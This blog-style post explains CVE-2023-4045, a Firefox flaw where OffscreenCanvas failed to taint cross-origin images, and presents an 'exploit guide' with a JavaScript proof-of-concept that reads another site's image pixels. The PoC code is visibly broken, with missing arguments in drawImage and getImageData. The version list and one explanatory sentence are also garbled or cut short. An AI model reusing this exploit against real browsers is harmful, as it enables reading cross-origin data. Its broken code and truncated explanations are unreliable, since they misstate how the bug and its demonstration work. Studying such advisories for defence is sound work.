CVE-2023-4045 - How OffscreenCanvas Bypassed Same-Origin Policy in Firefox (Full Details and Exploit Guide)

TL;DR:
A security bug in Firefox (before version 116, ESR < 102.14 & < 115.1) let attackers use *OffscreenCanvas* to read pixels from images loaded from other sites, sidestepping the “same-origin policy”. This post explains what happened, gives sample exploit code, links you to official sources, and shows why this matters.

What is OffscreenCanvas Anyway?

OffscreenCanvas is a web API that lets websites draw images and graphics *off the screen*, useful for web workers, rendering-to-final-image, or fast updates.

But like all canvas elements, it’s supposed to obey the same-origin policy—a crucial browser security rule that blocks pages from reading data loaded from other domains unless those domains give permission.

What was the Bug? (CVE-2023-4045)

Summary: *OffscreenCanvas did not track “tainted” status correctly if you drew images loaded from other websites (cross-origin). That means JavaScript running on one website could read image pixel data from another origin—this breaks web security!*

Impacted Versions:

ESR before 102.14 or 115.1

Reference:
- Mozilla Security Advisory 2023-29
- CVE-2023-4045 at NVD
- Bugzilla - 1840666

Here’s example (proof-of-concept) code that works on a vulnerable version of Firefox

<!DOCTYPE html>
<html>
<body>
<script>
async function stealCrossOriginImageData() {
    // Image from another domain (must use a URL you don't own)
    let img = new Image();
    img.crossOrigin = "anonymous"; // omit for more stealth in the PoC
    img.src = "https://upload.wikimedia.org/wikipedia/commons/4/47/PNG_transparency_demonstration_1.png";;

    await new Promise(r => img.onload = r);

    // Create an OffscreenCanvas (the bug happened here)
    let canvas = new OffscreenCanvas(img.width, img.height);
    let ctx = canvas.getContext('2d');

    // Draw the cross-origin image
    ctx.drawImage(img, , );

    // Try to read the pixel data (should fail if fixed)
    try {
        let pixel = ctx.getImageData(, , 1, 1);
        console.log('Pixel data:', pixel.data);
        document.body.innerHTML = "Exploit succeeded, pixel data read: " + pixel.data;
    } catch (err) {
        console.error('Security error:', err);
        document.body.innerHTML = "Exploit failed (not vulnerable)";
    }
}

stealCrossOriginImageData();
</script>
</body>
</html>

If Firefox is NOT patched:
You will see the pixel RGBA data in the console.

If patched (Firefox ≥ 116):
You get a *SecurityError*.

Cleaned Up: Why Did It Work?

Normally, drawImage sets a “tainted” flag if the image is cross-origin.
*OffscreenCanvas* in these Firefox versions forgot to set the taint flag, so

Bypass CORS restrictions.

See: What is a tainted canvas?

Is This Only OffscreenCanvas?

Yes—normal <canvas> was not affected; only *OffscreenCanvas* had the taint bug.

How is It Fixed?

Firefox 116 Release Notes
The patch fixes taint tracking, making OffscreenCanvas obey the same-origin policy just like normal canvas.

Web developers: Don’t trust browser bugs to keep your data safe—use defense-in-depth!

- Security researchers: Double-check APIs that duplicate what “regular” APIs do, especially if they handle images, files, or other cross-origin data.

Timeline

Published on: 08/01/2023 15:15:00 UTC
Last modified on: 08/09/2023 21:15:00 UTC